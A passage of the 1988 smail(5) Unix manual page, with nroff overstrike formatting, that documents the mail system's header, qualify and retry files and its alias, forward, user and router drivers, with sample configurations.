and not to headers. If iinneett is defined, then route-addr addresses will be generated when routing to remote destinations, rather than !-style addresses. Thus, if smail is given the address _u_s_e_r_%_h_o_s_t_@_g_a_t_e_w_a_y and _g_a_t_e_w_a_y is reached through the path _h_o_s_t_a_!_h_o_s_t_b_!_h_o_s_t_c, then smail will gener- ate the address _@_h_o_s_t_b_,_@_h_o_s_t_c_:_u_s_e_r_%_h_o_s_t_@_g_a_t_e_w_a_y to be sent to the host _@_h_o_s_t_a. _r_e_t_r_y___d_i_r type: _s_t_r_i_n_g The subdirectory under X_MAIL_SPOOL_DIR_X/retry to use for managing host retry intervals for this transport. By default, the name of the transport is used. However, multiple transports can share a retry directory by setting rreettrryy__ddiirr for several transports to the same value. For example, by default all of the default TCP/IP SMTP transports (iinneett__zzoonnee__ssmmttpp, uuuuccpp__zzoonnee__ssmmttpp, and llooccaall__ssmmttpp set rreettrryy__ddiirr to ``smtp''. _r_e_m_o_v_e___h_e_a_d_e_r type: _s_t_r_i_n_g Identify a header field that will be removed from the message for transport. This is an expansion string, so header removal can be made dependent upon some conditions. If expansion of the string results in an empty string, then no header is removed. Any number of rreemmoovvee__hheeaaddeerr attributes can be specified. _i_n_s_e_r_t___h_e_a_d_e_r, _a_p_p_e_n_d___h_e_a_d_e_r type: _s_t_r_i_n_g Add the given header field at the beginning Local 1 February 1988 32 SMAIL(5) SMAIL(5) (iinnsseerrtt__hheeaaddeerr) or end (aappppeenndd__hheeaaddeerr) of the mes- sage header for transport. These are expansion strings, so the header (and the existence of the header) can be made dependent on some conditions. If expansion of the string results in an empty string, then no header is added. Any number of iinnsseerrtt__hheeaaddeerr and aappppeenndd__hheeaaddeerr attributes can be specified. As an example of the manipulation of headers, consider the addition of an ``Organization'' header for all locally generated mail that does not already have an Organization header. This can be done with: append_header="${if and{{origin:local}{!header:organization}} \ Organization: ACME Explosives Corp.}" To configure a ``Content-Length'' field, which some sys- tems use to identify the length of a message within a mailbox file rather than keying on lines starting with ``From'', use: remove_header="Content-Length", append_header="Content-Length: $body_size" TTHHEE QQUUAALLIIFFYY FFIILLEE This section details the format and use of the hostname qualification file. The qualify file defines the domain name(s) to be used in making all hostnames fully-qualified. Note that this file is used only for bare hostnames, i.e. names without dots. The qualify file uses the standard routine for reading file entries. Each entry should have the form: _h_o_s_t_n_a_m_e _d_o_m_a_i_n stating that the host name _h_o_s_t_n_a_m_e should be considered a part of domain _d_o_m_a_i_n. As a special case, if the _h_o_s_t_n_a_m_e value is the special string ``*'', the entry matches any host. This is a catch-all feature which should only be used in the last entry in a qualify file. Typically, UUCP sites should should have an entry like: * uucp at the end of the qualify file. If the qualify file is missing, or if no entry is found that matches a given hostname, then no hostname qualifica- tion is performed. Local 1 February 1988 33 SMAIL(5) SMAIL(5) TTHHEE RREETTRRYY FFIILLEE This section details the format and use of the retry con- trol file. The retry file defines, by target domain, the minimum interval between delivery attempts and/or the maximum duration over which to continue attempting delivery. Each retry entry should have the form: _d_o_m_a_i_n_[_:_d_o_m_a_i_n_._._._] [_i_n_t_e_r_v_a_l]/[_d_u_r_a_t_i_o_n] stating that, for the given domain(s), delivery will be attempted no more frequently than _i_n_t_e_r_v_a_l, and that delivery attempts will cease after _d_u_r_a_t_i_o_n. Values for _i_n_t_e_r_v_a_l and _d_u_r_a_t_i_o_n are in seconds. However, they can be written as a sequence of numbers with suffixes of `s' for seconds, `m' for minutes, `h' for hours, `d' for days, `w' for weeks and `y' for years. For example, 1100mm//22dd specifies an _i_n_t_e_r_v_a_l of ten minutes and a _d_u_r_a_t_i_o_n of two days. Either or both of _i_n_t_e_r_v_a_l and _d_u_r_a_t_i_o_n may be omitted, in which case they are taken to be zero (i.e. no limit). As a special case, if a retry file entry has a domain list equal to the special string ``*'', that entry matches any domain. This feature is a catch-all which should only be used in the last entry in a retry file. If a retry file contains no ``*'' catch-all entry, then the configuration parameters _r_e_t_r_y___i_n_t_e_r_v_a_l and _r_e_t_r_y___d_u_r_a_t_i_o_n will be used to control retries to domains without specific retry entries. TTHHEE DDIIRREECCTTOORR DDRRIIVVEERRSS This section details the usage and driver-specific attributes for all of the director drivers distributed with smail. See the section TTHHEE DDIIRREECCTTOORR FFIILLEE for more information on directors. TThhee AAlliiaassffiillee DDrriivveerr The base standard for the format of the aliases and for- ward files should be the format used by the BSD _s_e_n_d_m_a_i_l program. This format is simple yet powerful enough for most needs. A sendmail-compatible aliases file consists of relations between alias names and the lists of entities to that the aliases expand. Each entry is of the form: _a_l_i_a_s_-_n_a_m_e: _a_d_d_r_e_s_s, ... Local 1 February 1988 34 SMAIL(5) SMAIL(5) The following is a sample alias file for a machine nsavax: # Sample aliasing file for nsavax root: brown, casey # redirect root's mail MAILER-DAEMON: postmaster postmaster: brown # brown maintains netnews and mail netnews: brown north: north, fawn # copy fawn on all north's mail # post important information to network msgs: local-msgs@ciacray, local-msgs@nscprofs, local-msgs@nsavax local-msgs: "|/usr/ucb/msgs -s"# deliver to msgs program # administrivia rnews: |/usr/lib/news/uurec# read news messages from mail # mailing lists for accessing users on the local network nsavax-users: :include:/usr/lib/mail/nsavax-users ciacray-users: :include:/usr/lib/mail/ciacray-users nscprofs-users: :include:/usr/lib/mail/nscprofs-users # mail to everybody on the local network everybody: nsavax-users, # well, almost everybody ciacray-users, nscprofs-users # save mail to mailing list requests and send to moderator funding-request: /usr/log/funding-req, reagan@nscprofs covert-bugs-request: /usr/log/covert-bugs-req, james.bond@ciacray # broadcast to mailing lists, and save a copy funding: # excludes congress :include:/usr/list/funding, /usr/log/funding # save all messages here covert-bugs: # includes kgb :include:/usr/list/covert-bugs, /usr/log/covert-bugs# save all messages here The aliasfile driver searches for matches between a local address on input and an _a_l_i_a_s_-_n_a_m_e from the alias file. If a match is found, it returns the associated list. It has the following driver attributes: _f_i_l_e type: _s_t_r_i_n_g Define the name of the file containing the database. Except when this is not appropriate for the _p_r_o_t_o being used, if this does not begin with ``/'', it will be referenced relative to the _s_m_a_i_l___l_i_b___d_i_r directory. Local 1 February 1988 35 SMAIL(5) SMAIL(5) _i_n_t_e_r_v_a_l type: _n_u_m_b_e_r A sleep interval between open retries, in seconds. On systems which have 1 second granularities on wakeup times and where, as a result, sleep times can be nearly 0 seconds, this number should be at least 2. _m_o_d_e_m_a_s_k type: _n_u_m_b_e_r A mask, ala _u_m_a_s_k(2), defining the maximum permis- siveness allowed for the permissions on the alias file. For example, a modemask of 022 disallows write access to all but the file owner. This value should be chosen to strike a reasonable compromise between security and user convenience. It should also take into account the use of the oowwnneerrss and oowwnnggrroouuppss attributes described below. A paragraph below describes the consequences for a file not meeting this criteria. _o_p_t_i_o_n_a_l type: _b_o_o_l_e_a_n If set, then if the open fails, assume an empty alias file. This is useful for optional databases. For example, in a networking environment, worksta- tions may be configured with the option of having a private alias file, without the necessity of creat- ing such a file on each host. _o_w_n_e_r_s type: _s_t_r_i_n_g A list of permissible owners for the alias file. A paragraph below describes the consequences for a file not meeting this criteria. _o_w_n_g_r_o_u_p_s type: _s_t_r_i_n_g A list of permissible owning groups for the alias file. A paragraph below describes the consequences for a file not meeting this criteria. _p_r_o_t_o type: _s_t_r_i_n_g Names the protocol used in opening and searching the database. Possibilities are discussed below. _r_e_o_p_e_n type: _b_o_o_l_e_a_n If this attribute is on, the alias file will be closed and reopened after each call to the driver. This is useful for systems that have a shortage of file descriptors yet wish to access a large number of databases. Local 1 February 1988 36 SMAIL(5) SMAIL(5) _r_e_t_r_i_e_s type: _n_u_m_b_e_r the maximum count of open retries. This should be greater than zero if the system does not have an atomic rename(2) system call, as the alias file may not always exist while being modified. _t_r_y_a_g_a_i_n type: _b_o_o_l_e_a_n If set, then if the open fails, the resolution of local addresses will be attempted at a later time. This is useful in a networking environment where failure to open a database (such as a remote YP database) may be a result of a server machine being down or temporarily inaccessible. If any of the attributes mmooddeemmaasskk, oowwnneerrss or oowwnnggrroouuppss reject the file as a possible security problem, all addresses returned are flagged with the _c_a_u_t_i_o_n bit set. See the generic director attribute nnoobbooddyy for more infor- mation. The current list of possible values for the _p_r_o_t_o attribute is: bsearch Use a binary search to look through a sorted file arranged as lines which begin with a key and are followed by the value associated with the key, separated by a colon or whitespace. The file should be sorted by the key, not by the line. The _m_k_s_o_r_t(8) utility sorts lines cor- rectly. Care should be taken when using the regular _s_o_r_t(1) to ensure that the sort uses proper delimiters. dbm Use the BSD _d_b_m(3x) or _n_d_b_m(3x) routines to search for the key. The keys and data in the dbm database must end in a nul byte. If only the _d_b_m(3x) library is available then only one dbm database can be used by _s_m_a_i_l _, while the _n_d_b_m(3x) routines will allow any number of databases. However, it is always okay for mul- tiple routers and directors to use the same dbm database, if this is useful. aliasyp This is a variant of the _y_p protocol that is compatible with the standard Sun _m_a_i_l_._a_l_i_a_s_e_s YP service. This database has a different format from other databases which must be taken into account when sending requests. Typically this is not useful for a path database. lsearch Use a linear search using the same read routine used to read config files. `#'-style comments Local 1 February 1988 37 SMAIL(5) SMAIL(5) are allowed and the beginning of each file entry should be the key, followed by whitespace or a colon character. The rest of the entry should be the value associated with the key. yp Use the Sun YP service to access a paths database stored on a remote machine. In this case the value for the ffiillee attribute is of the form: _d_o_m_a_i_n___n_a_m_e:_d_a_t_a_b_a_s_e___n_a_m_e where the _d_o_m_a_i_n___n_a_m_e_: is optional and defaults to the default YP domain for the local host. nialias Use the NeXT NetInfo database, for getting user aliasing information. A simple entry in the director file is: # don't perform any authentication on the alias file aliases: driver=aliasfile; file=/usr/lib/aliases, proto=dbm TThhee FFoorrwwaarrddffiillee DDrriivveerr Sendmail-compatible forward files have the same structure as mailing lists. This format is: _a_d_d_r_e_s_s, _a_d_d_r_e_s_s, ... Where newlines can be included wherever whitespace is allowed, and where a `#' character begins a comment that ends at the end of the line. Comments are treated as whitespace. An example forward file for the user james.bond on nsavax is: # send to my own machine, but keep a copy here # just in case it doesn't make it there. bond%british-ss@ciacray, james.bond A useful forward file is: # I am on vacation, save away my mail, but tell people # I won't be back for a while hustead, "|mailx -s 'Yep, gone fishing!' \"$SENDER\" < $HOME/.fish" Which will save to Ted Hustead's mailbox file and will also execute the following shell command: mailx -s 'Yep, gone fishing!' "$SENDER" < $HOME/.fish Local 1 February 1988 38 SMAIL(5) SMAIL(5) where the shell variables $HOME and $SENDER are available from the environment as the user's home directory and the sender address, respectively. Note that if the iiggnnoorree__wwrriittee__eerrrroorrss attribute is not turned on in the pipe transport, this example will cause mail to be returned to the sender stating that a write error occurred on the pipe to mailx. To prevent this, the line could also be changed to: "|cat>/dev/null;\ mailx -s 'Yep, gone fishing' \"$SENDER\"<$HOME/.fish" where the ``cat>/dev/null'' will read ssttddiinn, preventing a write error on the pipe. The current list of driver attributes for the forwardfile driver is: _c_a_u_t_i_o_n type: _s_t_r_i_n_g This string defines a list of users and directories which should cause addresses to be flagged with _c_a_u_t_i_o_n. Each entry in the list is expanded indi- vidually. If this string expansion fails, it is ignored. A number, or a number range (in the form _l_o_w___n_u_m_b_e_r-_h_i_g_h___n_u_m_b_e_r) can be used to indicate numerical uid's that should be treated with cau- tion. Typically, this string is ``0'', thus pre- venting file and shell command from being performed as the superuser, ``0-99'', preventing access with a system id. _c_h_e_c_k_o_w_n_e_r type: _b_o_o_l_e_a_n If set, then one of the permissible owners will be the user associated with the forward file. _f_i_l_e type: _s_t_r_i_n_g The name of a file containing the forward informa- tion for a user. This string will be expanded with the local name passed to the director available as $$uusseerr and any associated home directory available as $$HHOOMMEE. If this string expansion fails, it is ignored. _f_o_r_w_a_r_d_t_o type: _b_o_o_l_e_a_n If set, then the file must begin with ``Forward to '' to be considered a forward file. Also, only the first line is scanned for addresses. This ``fea- ture'' mimics the capability found in some systems for hiding forwarding information in user mail- boxes. Local 1 February 1988 39 SMAIL(5) SMAIL(5) _m_o_d_e_m_a_s_k type: _n_u_m_b_e_r A mode mask defining the maximum permissiveness allowed for the permissions on a forward file. Analogous to the modemask attribute for the alias- file driver. _p_r_e_f_i_x type: _s_t_r_i_n_g This attribute requires that an address begin with the specified string to be matched by the director. In addition, any reference to the $$uusseerr variable in the file attribute will have this prefix removed. _s_u_f_f_i_x type: _s_t_r_i_n_g This attribute requires that an address end with the specified string to be matched by the director. In addition, any reference to the $$uusseerr variable in the file attribute will have this suffix removed. Both a pprreeffiixx and a ssuuffffiixx attribute can be speci- fied for a director. In this case both the prefix and the suffix string are required for a match. _o_w_n_e_r_s type: _s_t_r_i_n_g Specifies a list of user who may own the forward file. _o_w_n_g_r_o_u_p_s type: _s_t_r_i_n_g Specifies a list of groups who may own the forward file. _u_n_s_e_c_u_r_e type: _s_t_r_i_n_g This string defines a list of users and directories which should cause addresses to be flagged with _u_n_s_e_c_u_r_e. This will prevent delivery to shell com- mands or files. Each list entry is expanded. If this string expansion fails, it is ignored. A num- ber, or a number range (in the form _l_o_w___n_u_m_b_e_r-_h_i_g_h___n_u_m_b_e_r) can be used to indicate numerical uid's that should be treated with cau- tion. If none of the attributes oowwnneerrss, oowwnnggrroouuppss or cchheecckkoowwnneerr is given, no checks are made on ownership restrictions. The default modemask is 0, effectively disabling checks for file mode restrictions. NOTE: Unless the file attribute references $$HHOOMMEE or begins with ``~/'' the forward file driver can be Local 1 February 1988 40 SMAIL(5) SMAIL(5) used to provide forward files for users or names that are not listed in the passwd file. In this case, $$uusseerr merely expands to the address passed to the forwardfile driver. This feature can be used for setting up forwarding for obsolete accounts or mailing list directories. The pprreeffiixx and ssuuffffiixx attributes can be used to define mailing list directories associated with ownership or request addresses. To get a directory of mailing list or alias owners, a pprreeffiixx of ``owner-'' could be used. To create a directory of request addresses, a ssuuffffiixx of ``-request'' could be used. An example of useful forwardfile director entries are: # put forwarding addresses for obsolete accounts under # the /u/obsolete directory. These will contain only # forwarding addresses. This is maintained by users in # the group "admin" or "staff". obsolete: driver=forwardfile; file=/u/obsolete/$user, owngroups=admin:staff # handle per-user forward files in each user's home # directory. This is roughly compatible with BSD # sendmail, though performs some access checks, and # is very cautious of directories which are remotely # accessible. Root's .forward entries will operate # from the nobody uid. dotforward: driver=forwardfile, nobody; file=~/.forward, unsecure=~uucp:~ftp, caution=root, checkowner, owners=root, modemask=022 # allow the "Forward to " feature to be used from user # mailbox files as used in System V. forwardto: driver=forwardfile, nobody; file=/usr/spool/mail/$user, caution=root, checkowner, modemask=002 # define a mailing list directory, with any shell commands # executed under the nobody user id. Any file in this # directory defines the name and contents of a mailing list. mailing_lists: driver=forwardfile, caution; file=/usr/lib/smail/lists/${lc:user} # define a directory of owner mailing lists. Addresses # specified in this directory specify the owner address of a # mailing list or alias. Local 1 February 1988 41 SMAIL(5) SMAIL(5) owner_lists: driver=forwardfile, caution; file=/usr/lib/smail/lists/owners/${lc:user}, prefix="owner-" TThhee MMaaiilliinngg--lliisstt DDrriivveerrss Mailing-list drivers come in two forms, one form for mail- ing-lists derived by aliasing drivers, and another form for mailing-lists derived by forwarding drivers. The rea- son for having two forms is that security options take different forms depending on where mailing-lists come from. Also, by having them separately recognized it is possible to allow pipes and files in mailing-lists from alias files but not from forward files. Note that if a new driver is written that does not comply to the stan- dards for alias drivers and forwarding drivers, and that can produce mailing lists, a new mailing-list driver may need to be written as well. The format of a mailing list file is the same as that of a forward file, a simple list of addresses, with optional comments. The driver attributes are common to both of the mailing- list drivers: _c_o_p_y_o_w_n_e_r_s type: _b_o_o_l_e_a_n If set, attributes related to ownership restric- tions are taken from the director which produced the mailing list address. _c_o_p_y_s_e_c_u_r_e type: _b_o_o_l_e_a_n The modemask is copied from the director which pro- duced the mailing list address. _i_n_t_e_r_v_a_l type: _n_u_m_b_e_r The sleep interval, in seconds, between retries. For systems that have a 1 second timing granular- ity, this number must be at least 2 to guarrantee a non-zero sleep interval. _m_a_t_c_h___d_i_r_e_c_t_o_r type: _s_t_r_i_n_g Names the specific director that this entry matches expansions of. This can be used to assign differ- ent attributes from alternate uses of the _a_l_i_a_s_f_i_l_e and _f_o_r_w_a_r_d_f_i_l_e directors. _m_o_d_e_m_a_s_k type: _n_u_m_b_e_r The maximum permissiveness of file modes. Local 1 February 1988 42 SMAIL(5) SMAIL(5) _o_w_n_e_r_s type: _s_t_r_i_n_g A list of allowed owners. _o_w_n_g_r_o_u_p_s type: _s_t_r_i_n_g A list of allowed owning groups. _r_e_t_r_i_e_s type: _n_u_m_b_e_r The maximum count of open retries. TThhee UUsseerr DDrriivveerr The user director directs mail to a mailbox for known user on the local host. It will succeed if the local address matches a user on the system and will put an entry on the list of fully-resolved addresses. The driver attributes are: _p_r_e_f_i_x type: _s_t_r_i_n_g The prefix, if non-NULL, must be found in the front of the username for this driver to be used. This prefix is removed from the username prior to deter- mining if it is a valid user on the local host. This can be used to set up an alternate name for each user on the system which is not matched by aliasing or forwarding director. Commonly, pprreeffiixx will be set to ``real-'' for one of the directors, so that mail can be guaranteed to be delivered to a user's mailbox file on a specific host by mailing to an address such as ``real-tron@namei.uucp.'' If a match is found, the actual username is given to the transport. _t_r_a_n_s_p_o_r_t type: _s_t_r_i_n_g The name of the transport to associate with the address. A typical user director entry in the director file is: user: driver=user; transport=local This will associate any mail destined for a user on the local host with the llooccaall transport. TThhee SSmmaarrttuusseerr DDrriivveerr It may be that you wish all local addresses that you don't recognize to be sent elsewhere. For example, there could be a host in your domain that knows where most of the domain's users reside. The _s_m_a_r_t_u_s_e_r driver is a conve- nient way of handling this case, by redirecting mail for Local 1 February 1988 43 SMAIL(5) SMAIL(5) unknown users to another host. Note that this must be the last director entry, if it is used, because it is gener- ally non-discriminatory. The possible driver attributes for the smart user driver are: _n_e_w___u_s_e_r type: _s_t_r_i_n_g This defines the new address to direct mail to. This string will be string expanded with $$uusseerr set to the local address name, and with $$HHOOMMEE being any the associated home directory, if there is one. It is a configuration error for this string expansion to fail. _w_e_l_l___f_o_r_m_e_d___o_n_l_y type: _b_o_o_l_e_a_n If set, the _s_m_a_r_t_u_s_e_r driver only matches an address if it contains characters exclusively from the set of letters, digits, whitespace, as well as `-', `_', `+', and `.'. If the wweellll__ffoorrmmeedd__oonnllyy attribute is on, any use of $$uusseerr in the nneeww__uusseerr value will have any groups of one or more whitespace and dot are characters collapsed into exactly one dot. If it is off, the $$uusseerr value may be enclosed in double-quotes, with backslash escapes where appropriate. This prevents the the value of $$uusseerr from changing the form of the address. A sample entry is: smartuser: driver=smartuser; new_user=$user@gateway.domain, well_formed_only With this entry, the input addresses: john and John Q. Public will become: john@gateway.domain and John.Q.Public@gateway.domain respectively. If wweellll__ffoorrmmeedd__oonnllyy had not been set, the second address would have been: "John Q. Public"@gateway.domain whereas the input address: Local 1 February 1988 44 SMAIL(5) SMAIL(5) \unusual"address"in\deed would become: "\\unusual\"address\"in\\deed"@gateway.domain Addresses which are produced by the smartuser driver are flagged as such and will not themselves be matched by the smartuser driver. Thus, infinite loops will not occur if ``gateway.domain,'' from the example, happens to be the local host. It is possible to set the new_user value in the _c_o_n_f_i_g file. This is done by setting the config file attribute smart_user. For example, the config file could contain the following line: smart_user = $user@gateway.domain Then, if the entry in the director file was: smart_user: driver=smart_user; well_formed_only the configuration would be equivalent to the second _s_m_a_r_t___u_s_e_r example above. This makes it possible to share copies of the director file among several machines, with the smart user configuration specific to one machine being set in its private configuration file. This config file attribute is used only if the _n_e_w___u_s_e_r attribute is not given in the _s_m_a_r_t___u_s_e_r entry. TTHHEE RROOUUTTEERR DDRRIIVVEERRSS This section details the usage and driver-specific attributes for all of the router drivers distributed with smail. See the section TTHHEE RROOUUTTEERR FFIILLEE for more informa- tion on routers. TThhee PPaatthhaalliiaass DDrriivveerr The pathalias router computes routes from a database in the style produced by the pathalias program. It has the following driver-specific attributes: _d_o_m_a_i_n type: _s_t_r_i_n_g A list of domains to be stripped from the end of a hostname before it is searched for in the database. Multiple domains, in this list, are separated by colons. _f_i_l_e type: _s_t_r_i_n_g This defines the name of the file containing the database. Except when it does not make sense as a result of the _p_r_o_t_o used, if this does not begin Local 1 February 1988 45 SMAIL(5) SMAIL(5) with ``/'', it will be referenced relative to the _s_m_a_i_l___l_i_b___d_i_r directory. _i_n_t_e_r_v_a_l type: _n_u_m_b_e_r The number of seconds to wait between open retries. _o_p_t_i_o_n_a_l type: _b_o_o_l_e_a_n If set, then if the open fails, assume an empty alias file. This is useful for optional databases. For example, in a networking environment, worksta- tions may be configured with the option of having a private alias file, without the necessity of creat- ing such a file on each host. _p_r_o_t_o type: _s_t_r_i_n_g Names the protocol used in opening and searching the database. Possibilities are discussed below. _r_e_o_p_e_n type: _b_o_o_l_e_a_n If set, the pathalias will be closed and reopened after each call to the pathalias driver. This is useful in environments where file descriptors are scarce but many databases are desired. _r_e_q_u_i_r_e_d type: _s_t_r_i_n_g A list of domains which targets are required to be for a match. The names are not stripped, unless they are also specified by the ddoommaaiinn attribute. _r_e_t_r_i_e_s type: _n_u_m_b_e_r The maximum number of retries for opening a file. This is useful on systems without an atomic rename system call. On such systems there will be a win- dow of vulnerability when new databases are moved into place where no file will exist. _t_r_y type: _s_t_r_i_n_g A list of domains to be stripped only if the target was not found in the database without the domain stripped. (This is currently not supported). _t_r_y_a_g_a_i_n type: _b_o_o_l_e_a_n If set, then if the open fails, the resolution of local addresses will be attempted at a later time. This is useful in a networking environment where failure to open a database (such as a remote YP Local 1 February 1988 46 SMAIL(5) SMAIL(5) database) may be a result of a server machine being down or temporarily inaccessible. The current list of possible values for the _p_r_o_t_o attribute is: bsearch Use a binary search to look through a sorted file arranged as lines which begin with a key and are followed by the value associated with the key, separated by a colon or whitespace. dbm Use the BSD _d_b_m(3x) or _n_d_b_m(3x) routines to search for the key. The keys and data in the dbm database must end in a nul byte. If only the _d_b_m(3x) library is available then only one dbm database can be used by _s_m_a_i_l _, while the _n_d_b_m(3x) routines will allow any number of databases. However, it is always okay for mul- tiple routers and directors to use the same dbm database, if this is useful. lsearch Use a linear search using the same read routine used to read config files. `#'-style comments are allowed and the beginning of each file entry should be the key, followed by whitespace or a colon character. The rest of the entry should be the value associated with the key. yp Use the Sun YP service to access a paths database stored on a remote machine. In this case the value for the ffiillee attribute is of the form: _d_o_m_a_i_n___n_a_m_e:_d_a_t_a_b_a_s_e___n_a_m_e where the _d_o_m_a_i_n___n_a_m_e_: is optional and defaults to the default YP domain for the local host. aliasyp This is a variant of the _y_p protocol that is compatible with the standard Sun _m_a_i_l_._a_l_i_a_s_e_s YP service. This database has a different format from other databases which must be taken into account when sending requests. Typically this is not useful for a path database. All database lookups are either independent of case or, when case independent lookups are impossible, case-folded. Thus, keys in DBM or YP databases must be in lower case. As an example of the use of the ddoommaaiinn, ttrryy and rreeqquuiirreedd driver attributes, if the ddoommaaiinn value is ``uucp,'' then any hostname that ends in .uucp will have the .uucp removed before being looked up. Alternately, if the the ttrryy value is ``uucp,'' then ``.uucp'' is stripped only if Local 1 February 1988 47 SMAIL(5) SMAIL(5) the original was not found. If the rreeqquuiirreedd value is ``uucp'' then a hostname is not a candidate for a match unless it ends in ``.uucp.'' The effects of ddoommaaiinn and ttrryy are not cumulative and a hostname is applied to the rreeqquuiirreedd attribute value before being applied to ddoommaaiinn and ttrryy in that order. Note that the length of any stripped string is added to the count of characters matched for purposes of deciding which router had the most complete match. A sample pathalias router entry is: pathalias: transport=uux, driver=pathalias; file=paths, proto=bsearch, domain=uucp An example of a pathalias file for the site _w_a_l_l_d_r_u_g is: .amdahl.com amdahl!%s amdahl amdahl!%s dgcad namei!glotz!nsavax!dgcad!%s glotz namei!glotz!%s hoptoad hoptoad!%s kgbvax kgbvax!%s kremvax kremvax!%s namei namei!%s nsavax namei!glotz!nsavax!%s This data base associates a host or domain name, on the left hand side, with a path, on the right hand side. The right hand side should be a UUCP-style `!'-path ending in a ``%s''. The format is intended to be more general, with the ``%s'' showing where to put a user name. Indeed, _p_a_t_h_a_l_i_a_s(8) can produce paths involving both right and left operators such as: decwrl decwrl!%s@ucbvax This form is not recommended in general because of a his- torical disagreement over the precedence of ``!'' and ``@'' which is not always resolved correctly by the pathalias program. By standardizing on UUCP-style `!'-paths, as will be produced from the USENET maps, we avoid many routing ambiguities. If the path is just ``%s,'' it denotes a name for the local host. TThhee UUuunnaammee DDrriivveerr Some sites in the UUCP zone may wish to use a direct path to their neighbors, without relying on a pathalias database. Alternately, a site may wish to use the pathalias routes to their neighbors only in the case that a domain address is given (i.e., ``_n_e_i_g_h_b_o_r.uucp''). Local 1 February 1988 48 SMAIL(5) SMAIL(5) A simple driver that meets these requirements is the uuuunnaammee driver, which reads a list of hostnames from the output of a shell command (normally //uussrr//bbiinn//uuuunnaammee) and uses this list to match neighboring hostnames. An example entry for a site that wishes to route to their neighbors for hostnames that may end in .uucp is: uuname: transport=uux, driver=uuname; cmd=/usr/bin/uuname, domain=uucp An alternative is a site that wishes to bypass the pathalias router only for explicit target matches, so that the form ``_n_e_i_g_h_b_o_r.UUCP'' will be routed through, as an example, pathalias. This can be done by not specifying a domain, as in: uuname: transport=uux, driver=uuname; cmd=/usr/bin/uuname The _u_u_n_a_m_e driver also supports the ddoommaaiinn, rreeqquuiirreedd and ttrryy attributes, and all three domain-style attributes can be colon separated lists. See the pathalias driver for more details on these attributes. In addition, there is a string attribute, ssttaattffiillee which names a file which can be used to determine when the out- put of the shell command will change. For example, when used with the uuname command this would normally be either _/_u_s_r_/_l_i_b_/_u_u_c_p_/_L_._s_y_s or _/_u_s_r_/_l_i_b_/_u_u_c_p_/_S_y_s_t_e_m_s depending on whether a site is using HoneyDanBer or stock V7-style UUCP. If a ssttaattffiillee attribute is defined, then smail dae- mons that expect to deliver multiple messages will cache the output of the shell command. The specified pathname will then be checked at regular intervals to determine if the command should be reissued to refresh the cached information. TThhee QQuueerryypprrooggrraamm DDrriivveerr If no other router driver meets a particular routing requirement, but a shell script or C program can be writ- ten which does, the qquueerryypprrooggrraamm driver can be used to access this script or program. This driver runs a pro- gram, with arguments, and examines its exit status and standard output for information. The program should return an exit status of zero to indicate a match for the target host, non-zero otherwise. Optionally, this program can write a path and a transport on its standard output to provide additional information. If a path is not returned then a one-hop path to the target host is assumed. The program is always executed as an unprivileged user. The qquueerryypprrooggrraamm driver supports the ddoommaaiinn, rreeqquuiirreedd and ttrryy attributes, as defined in the description of the ppaatthhaalliiaass driver. The program and its arguments are Local 1 February 1988 49 SMAIL(5) SMAIL(5) described in terms of a ccmmdd attribute which is a string consisting of white-space-separated tokens which are expanded to form a program name and the arguments to pass to that program. The variable $$hhoosstt can be used to obtain the target host string. White space or punctuation from an expansion variable do not delimit arguments. Two addi- tional boolean attributes affect the driver's behavior: rreeaadd__ppaatthh If this attribute is enabled, then a path is read as the first white-space delimited field in the first line of output from the program. If no out- put is produced by the program, or this attribute is not enabled, then a one-hop path to the target host is assumed. A path should consist of a list of hostnames separated by an exclamation point (`!') character. rreeaadd__ttrraannssppoorrtt If this attribute is enabled, then a transport is read as a white-space delimited field from the first line of output from the program. If the rreeaadd__ppaatthh attribute is also enabled, then the transport is taken from the second field, otherwise it is taken from the first. If no output was gen- erated by the program, or the field did not exist in the output, then the normal methods for deter- mining the transport are used. A trivial example of the use of this driver is the router file entry: match_bar: driver=queryprogram, transport=bar; cmd="/bin/test X${lc:host} = Xfoo" This router will use the program _t_e_s_t(1) to determine if the target host is _f_o_o. If this is the target host, then it is assumed to be a neighboring host which can be reached over the transport _b_a_r. A more complex example is to create a shell script such as: # match_fubar.sh - match hosts on the fubar networks case "$1" in foo) echo "foo foo_transport"; exit 0;; bar) echo "foo!bar foo_transport"; exit 0;; curds) echo "curds curds_transport"; exit 0;; whey) echo "curds!whey curds_transport"; exit 0;; esac Local 1 February 1988 50 SMAIL(5) SMAIL(5) exit 1 By setting up a router file entry such as: match_fubar: driver=queryprogram; cmd="/bin/sh $lib_dir/match_fubar.sh ${lc:host}", read_path, read_transport a complete, though not particularly optimal, router is created which can match the hosts _f_o_o, _b_a_r, _c_u_r_d_s and _w_h_e_y and cause messages to these hosts to be delivered using one of the transports _f_o_o___t_r_a_n_s_p_o_r_t or _c_u_r_d_s___t_r_a_n_s_p_o_r_t. The qquueerryypprrooggrraamm driver is not very efficient, as it requires a fork/exec for each host. However, it is a very simple to construct a new router using this driver, so it is useful for prototyping. In general, a new form of routing requirement is most efficiently handled by writing a new router driver. TThhee GGeetthhoossttbbyynnaammee DDrriivveerr In a networking environment, hostnames on a network can be matched using this driver, which calls the _g_e_t_h_o_s_t_b_y_- _n_a_m_e(3N) library routine. This routine is only available on systems that supply a BSD compatible internet network- ing library. Driver attributes for this driver include ddoommaaiinn, rreeqquuiirreedd and ttrryy attributes, which are compatible with the _p_a_t_h_a_l_i_a_s and _u_u_n_a_m_e drivers. Additional attributes are: _o_n_l_y___l_o_c_a_l___d_o_m_a_i_n type: _b_o_o_l_e_a_n Do not match hosts that have a domain component (i.e., that contain a dot). The ddoommaaiinn attribute is applied before the oonnllyy__llooccaall__ddoommaaiinn attribute, so hosts that have a domain component consisting only of one of the strings listed with the ddoommaaiinn attribute can be matched. _g_e_t_h_o_s_t_b_y_n_a_m_e will only match a target host completely. The hostname given to the transport will be the host as given by the _h___n_a_m_e field of the _h_o_s_t_e_n_t structure. NOTE: The hostname given to _g_e_t_h_o_s_t_b_y_n_a_m_e(3N) will be downcased, so that upper-case or mixed-case names can be matched correctly. TThhee GGeetthhoossttbbyyaaddddrr DDrriivveerr Also in a network environment, it is useful to be able to specify explicit Internet addresses using a target such as: [192.2.12.3] which is the internet address for the host _e_e_k_._u_t_s_._a_m_d_a_h_l_._c_o_m. Local 1 February 1988 51 SMAIL(5) SMAIL(5) The gethostbyaddr driver matches targets of this form, which is defined by square brackets surrounding only dig- its and dot characters. The driver then converts this number into a hostname by calling _g_e_t_h_o_s_t_b_y_a_d_d_r(3N) to determine the proper name for the host. If _g_e_t_h_o_s_t_b_y_a_d_d_r fails, then the input 